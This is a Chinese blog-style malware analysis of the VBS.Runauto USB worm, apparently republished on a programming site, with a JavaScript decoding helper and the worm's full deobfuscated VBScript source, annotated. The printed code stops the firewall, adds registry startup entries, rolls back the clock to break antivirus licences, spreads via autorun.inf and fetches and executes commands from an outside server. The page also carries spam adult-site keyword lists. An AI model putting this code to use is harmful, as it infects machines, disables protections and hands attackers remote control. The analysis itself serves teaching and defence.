亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

VBS.Runauto腳本病毒分析篇

2020-06-26 18:24:27
字體:
來源:轉載
供稿:網友
VBS.Runauto腳本病毒是我們俗稱的U盤病毒的一種,Symantec公司給其定位為蠕蟲(Worm)病毒,雖然危害性遠不如一些惡性病毒,但常常會嚴重影響用戶正常使用計算機。
 
最近一位同事的筆記本遭遇了這個病毒,正好這學期在給計算機專業的同學們上VBscript于是順便分析了一下。 
首先從染病毒的計算機上提取下來病毒樣本,由于是臨時發現的,也沒有特別準備,就用winrar壓縮后保存。
在實驗機器上打開病毒樣本的壓縮文件,我的Symantec 11立即報警,并把病毒刪除了。所以必須禁用殺毒軟件或者設置一個“例外區域”用于分析病毒,于是在桌面上新建了“evA”文件夾,并將之設置為防病毒例外文件夾,這下病毒樣本安靜的躺在里面了。 
腳本病毒是解釋型程序,因此我們不需要什么特別的反編譯工具就能查看源代碼了。雖然Windows的記事本足夠用了,但是我還是喜歡使用UltraEdit。 
使用打開UltraEdit打開病毒文件如圖1,注意,為了防止誤觸發病毒,這里首先將vbs擴展名修改為txt。 
VBS.Runauto腳本病毒分析篇

圖1 病毒腳本 
打開病毒腳本,大家可以發現代碼的可讀性非常差,大小寫字母雜亂的排列,并且還有很多無法理解的符號串。其實這是病毒為了保存自己而“想”出來的“保護傘”。 
病毒代碼大小寫問題可以在UE(以后UltraEdit簡稱)中選擇文本后,使用Ctrl+F5直接轉換成小寫字母。對于類似密碼的“00c2%0033%……”的字符串相對來說比較麻煩點。 
從病毒代碼中可以發現只要出現“亂碼”的地方都會有“STrREVeRSE”和“unEscaPE”函數的調用,其中“unescape”是vbscript標準函數,作用就是將經過escape函數編碼過的字符串進行反編碼。這里需要說明一下,由于Web中的Html對于有些符號是進行保留使用的,比如“<”和“>”符號,如果需要對這些符號進行顯示那么需要對他們進行html編碼,所有空格、標點、重音符號以及其他非 ASCII 字符都用 %xx 編碼代替,其中 xx 等于表示該字符的十六進制數。例如,空格返回的是 "%20" 。字符值大于 255 的,比如中文,以 %uxxxx 格式存儲。在對“密碼”進行分析,發現其實就是將escape編碼的符號串進行了反向,再結合“STrREVeRSE”函數名,可以斷定病毒作者為了能使病毒逃避殺毒軟件的檢測,采用了將關鍵代碼進行編碼和反向存儲的方式。 
在UE中可以直接對字符串進行編碼和解碼,不過要對字符串鏡像并沒有現成的工具可以使用,最近正在給學生上JavaScript,順手寫了一個頁面進行解碼或者編碼,雖然很簡單,不過為了敘述的連續性,代碼如下: 
復制代碼代碼如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>將字符串Reverse</title> 
<script type="text/javascript"> 
function _reverse() 

with(document){ 
if(rev.order.checked){ 
revedstr = rev.instr.value.split('').reverse().join('') 
write("<strong>reversed string:</strong>",revedstr,"<br>"); 
write("<strong>unescape string:</strong>",unescape(revedstr),"<br>"); 
write("<strong>escape string:</strong>",escape(revedstr),"<br>"); 

else{ 
unescapstr = unescape(rev.instr.value); 
revedstr = unescapstr.split('').reverse().join(''); 
write("<strong>uneacape string:</strong>",unescapstr,"<br/>"); 
write("<strong>reversed string:</strong>",revedstr); 




</script> 
</head> 
<body> 
<form action="" method="post" name="rev"> 
<input name="order" type="checkbox" value="" />轉換順序(先求反后解碼)?<br /> 
<input name="instr" type="text" value="請在這里輸入" onmousemove="this.select()"/> 
<input name="" type="button" value="轉換" onclick="_reverse()"/></form> 
</body> 
</html> 

使用以上的工具對代碼進行解碼后代碼如下: 
復制代碼代碼如下:

On Error Resume Next 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshshell=CreateObject(strreverse("wscript.shell")) 
Dim dri_list,dri_list0 
Dim issend 
issend=0 
c_time=Date() 

' 這是關閉SharedAccess(Intemet連接共享和防火墻服務)。 
wshshell.run "net stop sharedaccess",0 

Set drvs=fso.drives 
sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2 
thispath=wscript.ScriptFullName 
Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8 
scopy=fc.readall 
fc.Close 
Set fc=Nothing 
' 寫注冊表注冊文件sysinfo.reg,注冊系統開機自動執行病毒 
Call writefile(sysdir&"/sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine/software/policies/microsoft/windows/system/scripts/startup/0/0] "script"="%windir%//system32//prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine/software/microsoft/windows/currentversion/group policy/state/machine/scripts/startup/0/0] "script"="%windir%//system32//prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
") 
' 導入注冊表sysinfo.reg 
wshshell.run "regedit /s sysinfo.reg",0 
wscript.sleep 200 
fso.deletefile sysdir&"/sysinfo.reg",True 

' 如果當前運行腳本在系統目錄中 
If InStr(thispath,sysdir)>0 Then 
dri_list0=listdrv() 
o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) '回撥時間1年 
wshshell.run "cmd /c Date "&o_time,0 
wscript.sleep 10000 
For dri_i=1 to Len(dri_list0) 
Call writeauto(Mid(dri_list0,dri_i,1)&":/") 
Next 
wshshell.run "cmd /c Date "&c_time,0 

' WMI應用查詢計算機名,用戶名 
computername="":username="" 
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!//./root/cimv2") 
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem") 
For Each objcomputer in colcomputers 
computername=objcomputer.name 
username=objcomputer.username 
Next 
If username="" Then username="evar" 
If InStr(username,"/")<=0 Then 
username=computername&"/"&username 
End If 
do 
If issend=0 Then 
' 鏈接外網,獲得執行代碼 
Set xml=CreateObject("msxml2.serverxmlhttp") 
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0 
' http://202.119.104.100/zzb/是南師大學校黨委組織部主辦的網站 
xml.setrequestheader "user-agent","evar" 
xml.send() 
If Err.number=0 Then 
issend=1 
res=xml.responsetext 
If ucase(left(res,7))=ucase("Execute") Then Execute res 
Else 
Err.clear 
End If 
Set xml=Nothing 
End If 

dri_list=listdrv() 
For dri_k=1 to Len(dri_list) 
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then 
Call writeauto(Mid(dri_list,dri_k,1)&":/") 
End If 
Next 
dri_list0=dri_list 
wscript.sleep 1000 
loop 
Else 
wshshell.run "explorer ./",3 
wscript.sleep 2000 
wshshell.appactivate LCase("我的電腦") 
wshshell.sendkeys UCase("% c") ' 模擬擊鍵 alt + space + c ,其實就是關閉窗口 
runflag=0 

' 獲得當前系統進程,WMI的應用 
For each ps in GetObject _ 
("winmgmts://./root/cimv2:win32_process").instances_ 
If lcase(ps.name)=lcase("wscript.exe") Then 
runflag=runflag+1 
End If 
Next 
If runflag>=2 Then wscript.quit 
Set sf=fso.GetFolder(sysdir) 
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1) 
wshshell.run "cmd /c Date "&f_time,0 
wscript.sleep 100 
Call writefile(sysdir&lcase("/prncfg.vbs"),vs(scopy)) 
wshshell.run "cmd /c Date "&c_time,0 
wshshell.run sysdir&"/prncfg.vbs" 
End If 

' 混亂字符串,進行代碼變體! 
Function vs(str) 
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))" 
End Function 

' 列出驅動器 
Function listdrv() 
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list" 
End Function 

' 寫autorun.inf文件 
Sub writeauto(path) 
' 寫Auto文件前的準備,如果path中有autorun.inf文件夾那么重命名;如果有autorun.inf文件則刪除 
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If" 
' autorun.inf中的啟動代碼 
cmdstr="shell/*/command=wscript.exe "&chr(34)&"eva.vbs"&chr(34) 
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find") 
' 寫入 
Call writefile(path&ucase("autorun.inf"),autostr) 
Call writefile(path&"eva.vbs",vs(scopy)) 
End Sub 
'將content中的內容寫入fpath,并設置文件屬性是ReadOnly、Hidden和System 
Sub writefile(fpath,content) 
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing" 
End Sub 

以上的代碼已經添加了很多注釋,如果你能奈著性子看到這里,估計應該明白的差不多了。代碼本身的編碼質量一般,因為這個代碼在下載病毒指令是從南師大的一個網站上下載的,所以估計是個學生所為。 
在這段病毒中,作者使用了自定義的vs函數進行“變臉”以逃避防病毒檢測,使用隨機方式對病毒體進行大小寫轉換,不過實際上這種處理對真正的防病毒軟件是沒有任何效果的J 
在這個病毒中,使用了注冊表,Windows自動運行,文件操作還有WMI控制等技術,這些都是當前Windows環境中主流技術??梢园l現這些技術微軟都為腳本,特別是VBScrit提供了調用接口,從技術上講是COM組件都提供了Automation接口,支持各種腳本的調用,本來是為了讓Windows腳本能做更過的事,但是他們也“很好”好的為病毒服務,因此我們在這里分析病毒主要目的不是為了編寫病毒,而是學習編程技術,利用其中的技術為我們的工作和學習提供方便。因此希望學習腳本編程的朋友,可以好好分析這個鮮活的例子。 
以上說了那么多,其實還是沒有怎么詳細說道病毒,雖然我總是覺得代碼就是最好的解釋,但是總不能對不起標題上“分析”這兩個字吧。 
其實這個病毒主要還是利用的Windows的Autorun.inf文件運轉的。作為病毒,必須用戶去運行,無論是直接還是間接的。當“無知用戶”雙擊帶毒U盤等瞬間,Autorun.inf文件中指向的eva.vbs病毒啟動了,首先通過關閉“SharedAccess”服務實現關閉Windows自帶的防火墻,這主要是為了讓后面的病毒能夠和外部的傀儡網站進行通信做準備。 
關閉防火墻后,腳本寫入一個注冊表文件,通過后面在代碼中將之導入系統以實現病毒開機啟動,其實這也是病毒的共同特征。程序在啟動之后,需要判斷當前是否已經被感染,通常腳本對當前系統進程的情況進行處理是比較困那的,不過還好,Windows的WMI為腳本訪問系統功能提供了大量的接口,這里使用它檢測系統中是否有多份病毒進程,如果有那么就會自動退出。這個病毒中其實主要的功能就是復制,這也是被定義為worm病毒的原因,但其中有個重要的特征值的讓我覺得很有意思,就是這個病毒程序居然會執行從傀儡服務器發送來的病毒命令。 
在這個病毒中,利用ServerXMLHTTP組件和傀儡服務器進行通訊,這個技術其實就是我們現在流行的AJAX技術中的基礎。在這里和服務器通訊,并執行從服務器下載的病毒代碼,這體現了現在病毒作者希望能夠長期對“肉雞”的控制,但是讓我不能理解的是,病毒中有段代碼是對當前計算機用戶的賬戶進行檢測的,并將用戶信息發送到服務器上。眾多周知,國人的操作系統中D版居多,其中這段時間被鬧的沸沸揚揚的“番茄花園”之類的改版Windows居多,這類Windows均有個共同的個點,就是安裝的系統都會使用他們的“品牌”作為用戶名,比如“番茄花園”版的Windows中默認用戶常常就是“番茄花園”。從這個病毒代碼上看,難道它還要對Windwos版本進行一個“D版占有量普查”么? 
最后還要提到的一點就是這個病毒對系統時間的修改,通過修改系統時間進行對防病毒軟件的攻擊往往是致命的。說起來比較有諷刺意味,被這個病毒僅僅通過將時間向前倒撥一年,這樣很多防病毒軟件的授權時間就變成了非法的,這就好像當年WindowsXP剛發布的時候,設置錯誤的時間可能會造成系統奔潰一樣。錯誤的時間往往會破壞一個看似堅固的系統。通過這種方式,Kaspersky的授權時間變成了非法,隨之而來的就是防病毒引擎掛起,這樣這個沒有技術沒有難度的學生病毒就能大行其道了。這難道不是對防病毒廠商的諷刺么?為了保護自己的利益(使用時間授權),而讓用戶冒著被病毒攻擊的危險。事實上,有些防病毒廠商就注意到這個問題,如果授權過期了也不應該關閉查殺引擎,最多關閉放病毒庫的更新。另外這個病毒修改時間最妙的是把時間向前調整而不是往后,因為你不會知道不同的用戶的防病毒軟件的授權時間是1年還是n年,不過可以肯定,把時間向前調整一年的方式,可能對人而言同樣的授權還是正常的,但是對于計算機就難以理解了。 
以上是我對這個病毒的簡單分析,主要談了自己所感興趣的幾個部分。下面談談對于病毒的防護,前端時間,我參加了Symantec南京的一個產品發布會,會上有個銷售在介紹他們的產品,其中他說到了一句會,“現在沒有誰會讓自己的電腦裸奔!?。?rdquo;。相信很多朋友都知道,這里的裸奔就是指不安裝計算機殺毒軟件的電腦。實際上這個銷售說錯了,我曾經就有過1年多的時間“裸奔”,并且系統一直沒有出現任何問題,不是我自己說的,是后來我安裝了某品牌的防病毒軟件進行了掃描后沒有發現任何病毒的蹤影。至于為什么后來安裝了,完全是為了測試某品牌的殺毒軟件,后來也懶的刪除。 
那么很多朋友要說,你可真是“神人”。我要答復的事,其實并不“神”,你們也可以做到,關鍵是你去不去做!
從這個病毒的運行全過程我們可以發現,基本上關鍵的操作都是需要系統管理員級別才能成功的。例如修改時間,枚舉系統進程,對注冊表進行讀寫。如果你所使用計算機的賬戶僅僅是個普通User權限,我想這個病毒就和你無緣了。 
另外由于喜歡分析病毒的行為,這也為我“逃避”病毒找到了一些技巧。因為早在多年以前,我就分析過“歡樂時光”腳本病毒,那時候還不是很懂vbs腳本,可以說是病毒讓我進一步了解了vbs腳本的能力,為我后來能夠在工作中靈活運用腳本解決問題給了一個啟發! 


附錄:Symantec對該病毒的資料 
Discovered: March 12, 2007 
Updated: March 12, 2007 5:17:48 PM 
Type: Worm 
Infection Length: 1,112 bytes 
Systems Affected: Windows 98, Windows 95, Windows XP, Windows Me, Windows NT, Windows 2000 
VBS.Runauto is a Visual Basic script worm that copies itself in the root folder of all drives (including removable devices) except floppy drives. 
ProtectionInitial Rapid Release version March 13, 2007 
Latest Rapid Release version September 17, 2008 revision 038 
Initial Daily Certified version March 13, 2007 
Latest Daily Certified version September 17, 2008 revision 039 
Initial Weekly Certified release date March 14, 2007 
Click here for a more detailed description of Rapid Release and Daily Certified virus definitions. 
Threat AssessmentWildWild Level: Low 
Number of Infections: 0 - 49 
Number of Sites: 0 - 2 
Geographical Distribution: Low 
Threat Containment: Easy 
Removal: Easy 
DamageDamage Level: Low 
Payload: Copies itself to all drives on the compromised computer. 
DistributionDistribution Level: Low 
Writeup By: Mircea Ciubotariu 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
久久久久国产精品一区| 亚洲精品成人久久| 一本色道久久88亚洲综合88| 91干在线观看| 欧美最猛性xxxxx亚洲精品| 成人黄色片网站| 国产亚洲一区二区精品| 欧美高清视频在线播放| 色噜噜国产精品视频一区二区| 中文字幕久热精品视频在线| 国产小视频91| 国产亚洲激情视频在线| 久久精品国产综合| 欧美日韩aaaa| 中文字幕亚洲欧美日韩2019| www国产亚洲精品久久网站| 日韩av在线网站| 俺也去精品视频在线观看| 深夜精品寂寞黄网站在线观看| 精品国偷自产在线视频| 98精品国产自产在线观看| 精品视频在线播放| 91久久在线观看| 国产精品黄色av| 国内精品久久久久伊人av| 国产91精品久| 中文字幕久精品免费视频| 欧美三级xxx| 国产精品96久久久久久又黄又硬| 亚洲美女在线观看| 久久久久久久爱| 亚洲在线免费看| 欧美劲爆第一页| 在线看国产精品| 亚洲精品日韩激情在线电影| 日韩精品在线电影| www.久久久久久.com| 性色av一区二区三区红粉影视| 国产精品扒开腿爽爽爽视频| 欧美超级免费视 在线| 日本欧美中文字幕| 精品久久久久国产| 久久欧美在线电影| 欧美色视频日本版| 免费97视频在线精品国自产拍| 亚洲欧美日韩天堂一区二区| 日韩av在线最新| 成人精品一区二区三区电影免费| 成人黄色av网站| 成人国产精品免费视频| 91精品国产九九九久久久亚洲| 欧美精品做受xxx性少妇| 美女精品久久久| 亚洲亚裔videos黑人hd| 欧美亚洲国产日韩2020| 日韩在线中文字幕| 高潮白浆女日韩av免费看| 欧美重口另类videos人妖| 国产精品美女免费| 欧美日韩在线影院| 欧美精品久久久久| 欧美性猛交xxxx乱大交| 久久精品国产清自在天天线| 美女黄色丝袜一区| 欧美日韩色婷婷| 成人免费福利视频| 日韩欧美在线视频日韩欧美在线视频| 亚洲精品二三区| 亚洲欧美国产精品| 亚洲人成伊人成综合网久久久| 亚洲欧美中文日韩在线v日本| 国产999精品| 日韩精品在线观看一区二区| 午夜精品99久久免费| 日本在线观看天堂男亚洲| 日韩最新av在线| 欧美黑人性生活视频| 日日狠狠久久偷偷四色综合免费| 亚洲成色www8888| 久久久久久国产精品三级玉女聊斋| 欧美亚洲视频在线观看| 隔壁老王国产在线精品| 日韩av色综合| 国产成一区二区| 国产综合福利在线| 久久精品亚洲国产| 欧美视频免费在线观看| 伊人久久男人天堂| www.欧美精品一二三区| 欧美在线激情视频| 日本久久91av| 国产精品香蕉国产| 日韩高清不卡av| 欧美激情精品久久久久久蜜臀| 精品欧美国产一区二区三区| 精品国产欧美一区二区三区成人| 日韩精品在线免费| 青青草一区二区| 久久久精品中文字幕| 一个人看的www欧美| 91精品国产91久久久久福利| 亚洲综合视频1区| 91亚洲精品在线| 综合久久五月天| 中文字幕亚洲欧美在线| 国产亚洲欧美日韩一区二区| 日韩高清免费在线| 亚洲国产高清福利视频| 国产xxx69麻豆国语对白| 九九久久国产精品| 国产福利视频一区二区| 91黄色8090| 日韩av毛片网| 综合国产在线观看| 久久精品国产一区| 国产欧美日韩中文字幕| 91精品久久久久久久久久另类| 国产精品美女免费| 中文字幕亚洲无线码在线一区| 久久九九有精品国产23| 亚洲电影av在线| 在线播放国产精品| 欧美日韩免费在线| 国产精品偷伦视频免费观看国产| 蜜臀久久99精品久久久久久宅男| 久久亚洲精品小早川怜子66| 欧美日韩激情小视频| 日韩电视剧在线观看免费网站| 深夜成人在线观看| 亚洲免费人成在线视频观看| 国产精品久在线观看| 国产成人在线播放| 91亚洲精华国产精华| 久久这里只有精品视频首页| 一本一本久久a久久精品牛牛影视| 日韩久久精品电影| 色久欧美在线视频观看| 欧美精品午夜视频| 久久久久女教师免费一区| 亚洲欧美日韩成人| 亚洲激情免费观看| 中文字幕久久亚洲| 91精品在线国产| 欧美成人午夜激情视频| 97在线视频一区| 亚洲女人天堂视频| 亚洲免费成人av电影| 国产精品丝袜白浆摸在线| 亚洲性夜色噜噜噜7777| 神马久久久久久| 国产精品自产拍高潮在线观看| 精品激情国产视频| 亚洲精美色品网站| 成人av电影天堂| 欧美激情乱人伦一区| 性欧美亚洲xxxx乳在线观看| 久久精品最新地址| 日韩av在线高清| 77777少妇光屁股久久一区| 欧美国产日韩一区二区三区| 成人激情黄色网| 午夜精品国产精品大乳美女| 在线免费观看羞羞视频一区二区| 成人网址在线观看|